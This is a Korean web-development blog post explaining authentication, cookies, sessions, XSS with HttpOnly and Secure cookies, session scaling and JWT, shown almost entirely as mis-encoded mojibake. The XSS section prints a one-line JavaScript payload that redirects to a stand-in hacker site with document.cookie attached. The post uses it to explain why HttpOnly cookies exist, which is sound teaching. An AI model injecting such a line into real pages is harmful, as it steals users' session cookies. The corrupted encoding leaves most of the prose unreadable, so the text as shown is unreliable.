๐ง ์ธ์ฆ (Authentication)
์๋ณ ๊ฐ๋ฅํ ์ ๋ณด๋ฅผ ์ด์ฉํ์ฌ ์๋น์ค์ ๋ฑ๋ก๋ ์ ์ ์ ์ ์์ ์ ์ฆํ๋ ๊ณผ์ ์ ์๋ฏธํฉ๋๋ค.
์ฝ๊ฒ ๋งํด์ ๋ก๊ทธ์ธ์ ์ํํ๋ ๊ฒ์ด ์ธ์ฆ์ ํ๋ ๊ฒ์ ๋๋ค.
๐ง ์ธ๊ฐ (Authorization)
์ธ์ฆ๋ ์ฌ์ฉ์์ ๋ํด์ ์์ฒญ์ ๋ํ ๊ถํ์ ํ์ธํ๋ ๊ณผ์ ์ ์๋ฏธํฉ๋๋ค.
์๋ฅผ ๋ค์ด ํฐ์คํ ๋ฆฌ์ ๋ก๊ทธ์ธ์ ํ๋ค๊ณ ํด์, ๋ค๋ฅธ ์ฌ๋์ด ์ด ๊ธ์ ๋ง์๋๋ก ์์ ํ ์๋ ์์ต๋๋ค.
์ด๋ ๋ค๋ฅธ ์ฌ๋์ด ์ด ๊ธ์ ์์ ํ ๊ถํ์ด ์๊ธฐ ๋๋ฌธ์ธ๋ฐ, ์ฆ ์ธ๊ฐ๋์ง ์์๊ธฐ ๋๋ฌธ์ ๋๋ค.
๐ง ์ธ์ฆ ์ ๋ณด ์ ์งํ๊ธฐ
๐ค HTTP ํ๋กํ ์ฝ์ Connectionlessํ๋ฉฐ Statelessํ๋ค
HTTP๋ ํด๋ผ์ด์ธํธ์ ์๋ฒ๊ฐ ์์ฒญ๊ณผ ์๋ต์ ํ๋ฒ ์ฃผ๊ณ ๋ฐ์ผ๋ฉด ๋ฐ๋ก ์ฐ๊ฒฐ์ ๋์ด๋ฒ๋ฆฝ๋๋ค.
์ด๋ก ์ธํด ์์ฒญ์ ๋ณด๋ด๊ธฐ ์ํด์๋ ํญ์ ์๋กญ๊ฒ ์ฐ๊ฒฐ์ ๋งบ์ด์ผ ํ๋ ํน์ง์ ๊ฐ์ง๋๋ค.
์ด๋ฅผ Connectionless๋ผ ํฉ๋๋ค.
๋ํ ์ด๋ฌํ ์ฌ๋ฌ ์์ฒญ๋ค์ ๋ํ ์ ๋ณด์ ๋ํ ์ํ๋ฅผ ์ ์ฅํ์ง ์์ต๋๋ค.
์ด๋ก ์ธํด ์ด์ ์ ์ ์กํ ์์ฒญ๊ณผ, ํ์ฌ ๋ค์ด์จ ์์ฒญ์ด ์๋ฌด๋ฐ ๊ด๊ณ๋ฅผ ๊ฐ์ง์ง ์๊ฒ ๋๋ฉฐ, ์ฌ๋ฌ ์๋ฒ๊ฐ ์กด์ฌํ๋ ํ๊ฒฝ์์๋ ํด๋ผ์ด์ธํธ ์์ฒญ์ ๋ํด ์ด๋ ํ ์๋ฒ๊ฐ ์๋ตํ๋๋ผ๋ ์๊ด์ด ์์ด์ง๋๋ค.
์ด๋ฅผ Stateless๋ผ ๋ถ๋ฆ ๋๋ค.
์ด๋ฌํ ํน์ง๋ค๋ก ์ธํด ์ธ์ฆ ์ ๋ณด ์ญ์ ์ ์ง๋์ง ๋ชปํ๊ฒ ๋๋ฉฐ, ๋ง์ฝ ์ธ์ฆ์ด ํ์ํ ํน์ ์์ฒญ์ ๋ณด๋ด๊ธฐ ์ํด์๋ ๋งค ์์ฒญ๋ง๋ค ์ธ์ฆ ์ ๋ณด๋ฅผ ์ ๋ฌํด์ผ ํ๋ ๋ฌธ์ ๊ฐ ์์ต๋๋ค.
์ด๋ฌํ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด ์ฟ ํค๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
๐ง ์ฟ ํค
์น ๋ธ๋ผ์ฐ์ ์ Key-Value์ ํํ๋ก ์ ์ฅ๋๋ ์์ ๋ฐ์ดํฐ๋ฅผ ์๋ฏธํฉ๋๋ค.
์ฟ ํค๋ ์ต์ด์ ์น ์๋ฒ์์ ๋ฐ์ดํฐ๋ฅผ ๋ด์ ์น ๋ธ๋ผ์ฐ์ ๋ก ์ ๋ฌํด์ฃผ๋ ์์ผ๋ก ์์ฑ๋ฉ๋๋ค.
์ดํ ๋ธ๋ผ์ฐ์ ๊ฐ ์น ์๋ฒ์ ์์ฒญํ ๋ ํค๋์ ์ฟ ํค๋ฅผ ํจ๊ป ๋ด์์ ์ ์กํฉ๋๋ค.
๋ก๊ทธ์ธ ์ดํ์ ์ฌ์ฉ์ ์ ๋ณด๋ฅผ ์ฟ ํค์ ์ ์ฅํ๊ณ , ์ดํ ์์ฒญ ๋๋ง๋ค ์ฟ ํค๋ฅผ ํจ๊ป ์ ์กํ๋ฏ๋ก์จ ๋ก๊ทธ์ธ์ ์ ์ง์ํฌ ์ ์์ต๋๋ค.
๐ช ์ฟ ํค์ ์ข ๋ฅ
- ์์ ์ฟ ํค : ๋ง๋ฃ ๋ ์ง๋ฅผ ์ ๋ ฅํ๋ฉด ํด๋น ๋ ์ง๊น์ง ์ฟ ํค๊ฐ ์ ์ง๋ฉ๋๋ค.
- ์ธ์ ์ฟ ํค : ๋ง๋ฃ ๋ ์ง๋ฅผ ์ ๋ ฅํ์ง ์์ผ๋ฉด ์ฟ ํค๋ ๋ธ๋ผ์ฐ์ ์ข ๋ฃ์๊น์ง๋ง ์ ์ง๋ฉ๋๋ค.
์คํ๋ง์์๋ ๋ค์๊ณผ ๊ฐ์ด ์ฟ ํค๋ฅผ ์์ฑํ๊ณ ์ ๊ณตํ ์ ์์ต๋๋ค.
Cookie idCookie = new Cookie("memberId", String.valueOf(member.id());
response.addCookie(idCookie);
๐ค ์ฟ ํค์ ๋ณด์ ๋ฌธ์
์ฟ ํค๋ ๋ค์๊ณผ ๊ฐ์ ๋ณด์ ๋ฌธ์ ๋ค์ ๊ฐ์ง๋๋ค.
- ์ฟ ํค ๊ฐ์ ์์๋ก ๋ณ๊ฒฝํ ์ ์์ต๋๋ค.
- ์ฟ ํค์ ๋ณด๊ด๋ ์ ๋ณด๋ ํ์ณ๊ฐ ์ ์๋ค.
์ฟ ํค์ ๋ค์ด์๋ ๊ฐ์ ์ฌ์ฉ์๊ฐ ์์๋ก ๋ณ๊ฒฝ ๊ฐ๋ฅํฉ๋๋ค.
์ฆ member="๋ง๋" ์ด๋ผ๋ ์ฟ ํค๊ฐ ์๋ ๊ฒฝ์ฐ, ์ด๋ฅผ member="๋ํ" ์ด๋ผ๋ ์์ผ๋ก ๋ณ๊ฒฝํ์ฌ ์๋ฒ์ ์ ์กํ ์ ์์ต๋๋ค.
ํด๋น ๊ฐ์ ์๋ฒ์์ ๋ฐ๋ก ์ฌ์ฉํ๋ค๋ฉด ๋ณด์ ๋ฌธ์ ๊ฐ ๋ฐ์ํ ์ ์์ต๋๋ค.
๋ํ ์ฟ ํค์ ๋ณด๊ด๋ ์ ๋ณด๋ ๋จ์ด ํ์ณ๊ฐ ์ํ์ด ์์ต๋๋ค.
์ฟ ํค๋ฅผ ํ์ทจํ๋ ๊ณต๊ฒฉ์ ์ธ์ ํ์ด์ฌํน์ด๋ผ ๋ถ๋ฆ ๋๋ค.
๐ค ์ธ์ ํ์ด์ฌํน (Session hijacking)
์ฟ ํค์๋ ๋ฏผ๊ฐํ ์ฌ์ฉ์ ์ ๋ณด๋ค์ด ๋ด๊ฒจ์์ ์ ์์ต๋๋ค.
ํด์ปค๋ค์ ์ด๋ฌํ ์ ๋ณด๋ฅผ ํดํนํ๊ธฐ ์ํด ์ฟ ํค๋ฅผ ํ์ทจํ๋ ค ์๋ํฉ๋๋ค.
์ด๋ ์ฌ์ฉํ๋ ๋ํ์ ์ธ ๊ณต๊ฒฉ์ด ์ธ์ ํ์ด์ฌํน์ ๋๋ค.
์ธ์ฆ์ด ์๋ฃ๋ ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ ์์ ์ธ์ฆ ์ ๋ณด๊ฐ ๋ด๊ธด ์ธ์ ์ฟ ํค๋ฅผ ํ์ทจํ์ฌ
๋ณ๋์ ๋ก๊ทธ์ธ ์์ด ํด๋น ์ฟ ํค๋ฅผ ํตํด ์๋ฒ์ ํต์ ํ๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค.
๐ค XSS (Cross Site Scripting)๊ณผ HTTP Only ์ฟ ํค
์ฟ ํค์ ์ ๋ณด๋ฅผ ํ์ทจํ๋ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ ๋๋ค.
XSS๋ ๊ณต๊ฒฉ์(ํด์ปค)๊ฐ ์ ์์ ์ธ ์คํฌ๋ฆฝํธ ์ฝ๋๋ฅผ ์ฝ์ ํ์ฌ ์๋ํ์ง ์์ ๋ช ๋ น์ ์คํ์ํค๊ฑฐ๋ ์ธ์ ๋ฑ์ ํ์ทจํ๋ ๊ณต๊ฒฉ์ ์๋ฏธํฉ๋๋ค.
ํด์ปค๊ฐ ๋ค์๊ณผ ๊ฐ์ด ์ฝ๋๋ฅผ ์์ฑํ์๊ณ ์ฌ์ฉ์๊ฐ ์ด๋ฅผ ํด๋ฆญํ๋ค๋ฉด, ํด๋น ๋งํฌ๋ฅผ ํด๋ฆญํ ์ฌ์ฉ์์ ๋ชจ๋ ์ฟ ํค๊ฐ ํด์ปค์๊ฒ ์ ์ก๋ฉ๋๋ค.
location.href = 'http://ํด์ปค์ฌ์ดํธ/?cookies=' + document.cookie;
์ด๋ฌํ XSS ๊ณต๊ฒฉ์ ๋ฐฉ์งํ๊ธฐ ์ํด ๋ธ๋ผ์ฐ์ ๋ฅผ ํตํด์๋ ์ฟ ํค์ ์ ๊ทผํ ์ ์๋๋ก ์ ํํ ์ ์์ต๋๋ค.
์ด๋ฌํ ์ญํ ์ ํ๋ ๊ฒ์ด HTTP Only ์ฟ ํค์ ๋๋ค.
๐ค Secure ์ฟ ํค
HTTP Only ์ฟ ํค๋ฅผ ์ฌ์ฉํ๋ฉด ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ํตํ ์ฟ ํค ํ์ทจ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ ์ ์์์ต๋๋ค.
๊ทธ๋ฌ๋ ์๋ฐ์คํฌ๋ฆฝํธ ์ฝ๋ ๋์ ๋คํธ์ํฌ๋ฅผ ์ง์ ๊ฐ์ฒญํ๋ ๋ฑ์ ๋ฐฉ์์ผ๋ก๋ ์ฟ ํค๋ฅผ ๊ฐ๋ก์ฑ ์ ์์ต๋๋ค.
์ฆ, ์ฟ ํค๋ ์ด๋ ํ ๋ฐฉ๋ฒ์ผ๋ก๋ ํ์ทจ๋ ์ ์๋ค๋ ๊ฒ์ ๋๋ค.
์ด๋ฌํ ์ํฉ์ ๋๋นํ๊ธฐ ์ํด, HTTPS ํ๋กํ ์ฝ์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
HTTPS ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ฌ ์ฟ ํค์ ๋ํ ์ ๋ณด๋ฅผ ์ํธํํ์ฌ ์ ์กํ ์ ์์ต๋๋ค.
๊ทธ๋ฐ๋ฐ ์ฟ ํค๋ ๊ธฐ๋ณธ์ ์ผ๋ก ๋ชจ๋ ์์ฒญ์ ํฌํจ๋์ด ์ ์ก๋ฉ๋๋ค.
์ฆ HTTPS ํ๋กํ ์ฝ์ด ์๋๋ผ๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ฟ ํค์ ์ ๋ณด๋ ์ ๋ฌ๋๋ ๊ฒ์ด์ฃ .
์ด๋ฌํ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด HTTPS ํ๋กํ ์ฝ์ ์ฌ์ฉํ ๋์๋ง ์ฟ ํค๋ฅผ ์ ๋ฌํ๋ ๋ฐฉ๋ฒ์ด ์์ต๋๋ค.
๋ฐ๋ก Secure ์ฟ ํค๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ ๋๋ค.
๐ง ์ธ์
์์์ ์ดํด๋ณธ ๊ฒ๊ณผ ๊ฐ์ด ์ฟ ํค์ ๋ฏผ๊ฐํ ๊ฐ์ธ ์ ๋ณด๊ฐ ๋ค์ด์๋ค๋ฉด ํ์ทจ๋ ๊ฒฝ์ฐ ํฐ ๋ฌธ์ ๊ฐ ๋ฐ์ํ ์ ์์ต๋๋ค.
์ด๋ฌํ ๋ณด์ ๋ฌธ์ ๋ค์ ํด๊ฒฐํ๊ธฐ ์ํด์๋ ๋ฏผ๊ฐํ ์ ๋ณด๋ค์ ๋ชจ๋ ์๋ฒ์ ์ ์ฅํด์ผ ํฉ๋๋ค.
์ด๋ ๊ฒ ์๋ฒ์ ์ค์ํ ์ ๋ณด๋ฅผ ๋ณด๊ดํ๊ณ , ์ฐ๊ฒฐ์ ์ ์งํ๋ ๋ฐฉ๋ฒ์ ์ธ์ ์ด๋ผ ํฉ๋๋ค.
์ธ์ ์ ์ธ์ฆ๋ ์ฌ์ฉ์์ ๋ํ ์๋ณ์์ ๋์๋๋ ์์์ ๋ฌธ์์ด(SessionID)์ ์์ฑํฉ๋๋ค.
์ด๋ ๊ฒ ์์ฑ๋ SessionID๋ฅผ ์ฟ ํค์ ๋ด์ ์ ๋ฌํ๊ฒ ๋๋ค๋ฉด, ๊ฒฐ๊ตญ ํด๋ผ์ด์ธํธ๋ ๋ฏผ๊ฐํ ์ ๋ณด๊ฐ ๋ค์ด์์ง ์๋ ์ฟ ํค๋ฅผ ๋ฐํ์ผ๋ก ์ธ์ฆ์ ์งํํ ์ ์๊ฒ ๋ฉ๋๋ค.
๐ค ์ฟ ํค์ ์ธ์ ์ ์ฐจ์ด
์ฐ์ ์ธ์ ๋ฐฉ์์ ์ฌ์ฉํ๊ธฐ ์ํด์๋ ์ฟ ํค ์ญ์ ํ์ํฉ๋๋ค.(์์ฑ๋ ์ธ์ ์ ๋ํ SessionID๊ฐ ์ฟ ํค์ ์ ์ฅ๋จ)
์ฟ ํค๋ ํด๋ผ์ด์ธํธ์ ์ ์ฅ๋๋ฉฐ, ์ธ์ ์ ์๋ฒ์ ์ ์ฅ๋ฉ๋๋ค.
์ฟ ํค๋ ๋ก์ปฌ์ ์ ์ฅ๋๋ฏ๋ก ํ์ทจ, ๋ณ์กฐ๋ฑ์ ์ํ์ด ์กด์ฌํ๋ ๋ฐ๋ฉด, ์ธ์ ์ ์๋ฒ์ ์ ์ฅ๋๋ฏ๋ก ์ฟ ํค์ ๋นํด ๋น๊ต์ ์์ ํฉ๋๋ค.
๊ทธ๋ฌ๋ ์ธ์ ์ ์ฟ ํค์ ๋นํด ๋๋ฆฌ๊ธฐ ๋๋ฌธ์, ์ฟ ํค์ ์ธ์ ์ ์ ์ ํ ๋ณํํด์ ์ฌ์ฉํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
๐ค ์ธ์ ๊ธฐ๋ฐ ์ธ์ฆ์ ๋ฌธ์ ์
์๋น์ค๋ฅผ ์ด์ฉํ๋ ์ฌ์ฉ์๊ฐ ๋ง์์ ธ์ ์๋ฒ๋ฅผ ํ์ฅํ ์ํฉ์ ์ฒํ๋ค๊ณ ๊ฐ์ ํ๊ฒ ์ต๋๋ค.
์๋ฒ๋ฅผ ํ์ฅํ๋ ๋ฐฉ๋ฒ์ผ๋ก๋ ๋์ฒด๋ก ์ค์ผ์ผ ์์์ ์ฌ์ฉํฉ๋๋ค.
์ค์ผ์ผ ์์์ ์ํ ํ์ฅ์ด๋ผ๊ณ ๋ ๋ถ๋ฆฌ๋ฉฐ ์ฌ๋ฌ ๋์ ์๋ฒ๋ฅผ ์ถ๊ฐ๋ก ์ฌ์ฉํจ์ผ๋ก์จ ์ฑ๋ฅ์ ์ฆ๊ฐ์ํค๋ ๋ฐฉ๋ฒ์ ๋๋ค.
์ค์ผ์ผ ์์ ๋ฐฉ์์ ์ฌ์ฉํ๋ฉด ์๋ฒ ๋ณ๋ก ์ธ์ ์ ๋ฐ๋ก ๊ด๋ฆฌํ๊ธฐ ๋๋ฌธ์ ์ธ์ ๋ถ์ผ์น ๋ฌธ์ ๊ฐ ๋ฐ์ํ๊ฒ ๋ฉ๋๋ค.
์ด๋ฌํ ์ธ์ ๋ถ์ผ์น ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด์๋ Sticky Session, Session Clustering, Session Storage ๋ฐฉ์์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
๐ค Sticky Session
๋์ผํ ํด๋ผ์ด์ธํธ(์ธ์ )์ ์์ฒญ์ ์ฒ์ ์์ฒญ์ด ์ฒ๋ฆฌ๋ ์๋ฒ๋ก๋ง ๋ณด๋ด๋ ๋ฐฉ๋ฒ์ ๋๋ค.
์์ฒญ์ ํน์ ์๋ฒ๋ก ๊ณ ์ ์ํค๋ ๋ฐฉ๋ฒ์ ์ฟ ํค๋ฅผ ์ฌ์ฉํ๊ฑฐ๋ ํด๋ผ์ด์ธํธ์ IP๋ฑ์ ํ์ธํ์ฌ ํ๋จํ ์ ์์ต๋๋ค.
์ด๋ ๋ก๋ ๋ฐธ๋ฐ์๋ฅผ ์ค์ ํจ์ผ๋ก์จ ์ฌ์ฉ ๊ฐ๋ฅํ ๋ฐฉ์์ด์ง๋ง, ํธ๋ํฝ์ด ํ ๊ณณ์ผ๋ก ๋ชฐ๋ฆด ์ ์๋ค๋ ๋จ์ ์ด ์์ต๋๋ค.
๋ํ ์๋ฒ์ ๊ฐ์ฉ์ฑ์ ์ต๋ํ ํ์ฉํ์ง ๋ชปํ๋ค๋ ๋จ์ ๋ ์กด์ฌํฉ๋๋ค.
๐ค Session Clustering
ํน์ ์๋ฒ์์ ์ธ์ ์ด ์์ฑ๋๋ ๊ฒฝ์ฐ, ์ด๋ฅผ ๋ค๋ฅธ ์๋ฒ๋ก ์ ํํ์ฌ ์ธ์ ์ ๋ณต์ ํ๋ ๋ฐฉ์์ผ๋ก ์ธ์ ๋ถ์ผ์น ๋ฌธ์ ๋ฅผ ํด๊ฒฐํฉ๋๋ค.
Session Clustering์ ์ํด์๋ WAS์์ ์ ๊ณตํด์ฃผ๋ ๋ฐฉ๋ฒ์ ์ด์ฉํ ์ ์์ต๋๋ค.
WAS๋ง๋ค Session Clustering์ ์ง์ํ๋ ๋ฐฉ์์ด ๋ค๋ฅด๊ธฐ ๋๋ฌธ์, ์ฌ์ฉํ๋ WAS์ ๋ฐ๋ผ ๋ฐ๋ก ์ค์ ๋ฐฉ๋ฒ์ ํ์ธํด์ ์ ์ฉํด์ค์ผ ํฉ๋๋ค.
ํด๋น ๋ฐฉ์์ scale out์ ์งํํ ๋, ์๋ก์ด ์๋ฒ๊ฐ ์ถ๊ฐ๋ ๋๋ง๋ค ๊ธฐ์กด์ ์กด์ฌํ๋ WAS์ ์๋ก์ด ์๋ฒ์ IP/Port๋ฅผ ์ ๋ ฅํด์ฃผ์ด์ผ ํ๋ค๋ ๋จ์ ์ด ์์ต๋๋ค.
์ฆ ์๋ก์ด ์๋ฒ๊ฐ ๋์์ง์ ๋ฐ๋ผ ๊ธฐ์กด ์๋ฒ์ ์์ ์ด ๋ฐ์ํ๊ณ , ์ด๋ก ์ธํด ํด๋จผ ์ ๋ฌ๊ฐ ๋ฐ์ํ ๊ฐ๋ฅ์ฑ์ด ๋์์ง๋๋ค.
๐ค Session Server ๋ถ๋ฆฌ
์ธ์ ์ ์ ์ฅํ๋ ์ธ์ ์๋ฒ๋ฅผ ์ธ๋ถ ์๋ฒ๋ก ๋ถ๋ฆฌํ์ฌ ์ฌ์ฉํ๋ ๋ฐฉ์์ ๋๋ค.
์ด๋ ์ธ์ ์๋ฒ๋ก๋ ๋์คํฌ ๊ธฐ๋ฐ์ Mysql, MongoDB๋ฑ์ ์ฌ์ฉํ ์ ์์ง๋ง, ์ ์ถ๋ ฅ์ด ์ฆ์ ์ธ์ ์ ํน์ฑ ์ In-Memory DB์ธ Redis ๋ฑ์ ์ฌ์ฉํ๋ ๊ฒ์ด ์ผ๋ฐ์ ์ ๋๋ค.
์ด์ ๊ฐ์ ๋ฐฉ์์ ์๋ก์ด ์๋ฒ๋ฅผ ๋์ฐ๋๋ผ๋ ๊ธฐ์กด ์๋ฒ์ ์์ ์ด ๋ฐ์ํ์ง ์๋๋ค๋ ์ฅ์ ์ด ์์ง๋ง,
์ธ๋ถ ์๋ฒ๋ฅผ ๊ฑฐ์ณ์ผ ํ๋ฏ๋ก ์ฑ๋ฅ์ด ์กฐ๊ธ ๋๋ ค์ง๋ฉฐ, ๋ถ๋ฆฌ๋ ์ธ์ ์๋ฒ๊ฐ ์ฃฝ๋ ์๊ฐ ๋ชจ๋ ์ธ์ ์ด ์ฌ๋ผ์ง๊ธฐ ๋๋ฌธ์ ํด๋น ์ธ์ ์๋ฒ์ ๋ค์คํ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ Reflecation๋ ๊ณ ๋ คํด์ผ ํฉ๋๋ค.
๐ง ํ ํฐ ๊ธฐ๋ฐ ์ธ์ฆ
์์ ๊ฐ์ด ์ธ์ ์ ์ฌ์ฉํ๋ ์ธ์ฆ์ scale out ํ๊ฒฝ์์ ์ฒ๋ฆฌ๊ฐ ๋ณต์กํด์ง๋ค๋ ๋ฌธ์ ๊ฐ ์์์ต๋๋ค.
ํ ํฐ ๊ธฐ๋ฐ์ ์ธ์ฆ์ ์ฌ์ฉํ๋ฉด ์ด๋ฌํ ๋ฌธ์ ์ ์ ํด๊ฒฐํ ์ ์๊ฒ๋ฉ๋๋ค.
์ธ์ ๊ธฐ๋ฐ ์ธ์ฆ์ ์ธ์ฆ ์ ๋ณด๋ฅผ ์๋ฒ์ ์ ์ฅํ๋ ๋ฐฉ์์ผ๋ก ๊ตฌํ๋์์ง๋ง, ํ ํฐ ๊ธฐ๋ฐ ์ธ์ฆ์ ์ฟ ํค์ ๋น์ทํ๊ฒ ์ธ์ฆ ์ ๋ณด๋ฅผ ํด๋ผ์ด์ธํธ๊ฐ ์ง์ ๋ค๊ณ ์๋ ๋ฐฉ์์ ๋๋ค.
์ธ์ฆ ์ ๋ณด๋ ํ ํฐ์ ํํ๋ก ์ฟ ํค ํน์ ๋ธ๋ผ์ฐ์ ์ ๋ก์ปฌ ์คํ ๋ฆฌ์ง์ ์ ์ฅ๋ฉ๋๋ค.
ํ ํฐ ๊ธฐ๋ฐ ์ธ์ฆ์์๋ ์ฌ์ฉ์๊ฐ ๊ฐ์ง ํ ํฐ์ HTTP์ Authorization ํค๋์ ์ค์ด์ ๋ณด๋ ๋๋ค.
์ด ํค๋๋ฅผ ์์ ํ ์๋ฒ๋ ํ ํฐ์ด ์๋ณ์กฐ ๋์๊ฑฐ๋, ๋ง๋ฃ ์๊ฐ์ด ์ง๋์ง ์์์ง ํ์ธํ ์ดํ ํ ํฐ์ ๋ด๊ฒจ์๋ ์ฌ์ฉ์ ์ธ์ฆ ์ ๋ณด๋ฅผ ํ์ธํด ์ฌ์ฉ์๋ฅผ ์ธ๊ฐํฉ๋๋ค.
JWT๋ ์ฌ์ฉ์์ ์ ๋ณด๋ฅผ ์ํธํํ์ฌ ํด๋ผ์ด์ธํธ์ ์ ์กํ์ง๋ง, ํ์ทจ๋๋ ๊ฒฝ์ฐ ์ฝ๊ฒ ๋ณตํธํํ ์ ์๊ธฐ ๋๋ฌธ์ JWT์๋ ์ค์ํ ๊ฐ์ธ์ ๋ณด๋ฅผ ๋ฃ์ด์๋ ์๋ฉ๋๋ค.
๐ค ํ ํฐ ๊ธฐ๋ฐ ์ธ์ฆ์ ์ฅ๋จ์
ํ ํฐ์ ์ธ์ ์ ๋นํด ์๋ฒ์ ์ ์ก๋๋ ๋ฐ์ดํฐ์ ์์ด ํจ์ฌ ๋ง์ต๋๋ค.
๋ํ ํ ํฐ์ ํ์ทจ๋๋ ๊ฒฝ์ฐ ๋ฐ๋ก ๋ฐ์ดํฐ๋ฅผ ํ์ธํ ์ ์๊ธฐ ๋๋ฌธ์ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๋ฅผ ๋ด์ผ๋ฉด ์๋๋ ๋จ์ ์ด ์์ต๋๋ค.
๊ทธ๋ผ์๋ ๋ถ๊ตฌํ๊ณ ์ธ์ ๋ฐฉ์์ ๋นํด scale out ๊ด์ ์์ ๋ณ๋๋ก ์ฒ๋ฆฌํด์ฃผ์ด์ผ ํ ๊ฒ๋ค์ด ์์ด์ง๋ค๋ ์ฅ์ ์ด ์๊ณ , ์ด๋ฌํ ์ด์ ๋ก ์ธํด ๋ง์ ์๋ฒ์์ ํ ํฐ(JWT) ๋ฐฉ์์ ์ฌ์ฉํ์ฌ ๊ฐ๋ฐ์ ์งํํฉ๋๋ค.
'๐ ๋คํธ์ํฌ' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[๋คํธ์ํฌ] CORS ์ด์ ๋ฆฌ (10) | 2023.05.25 |
---|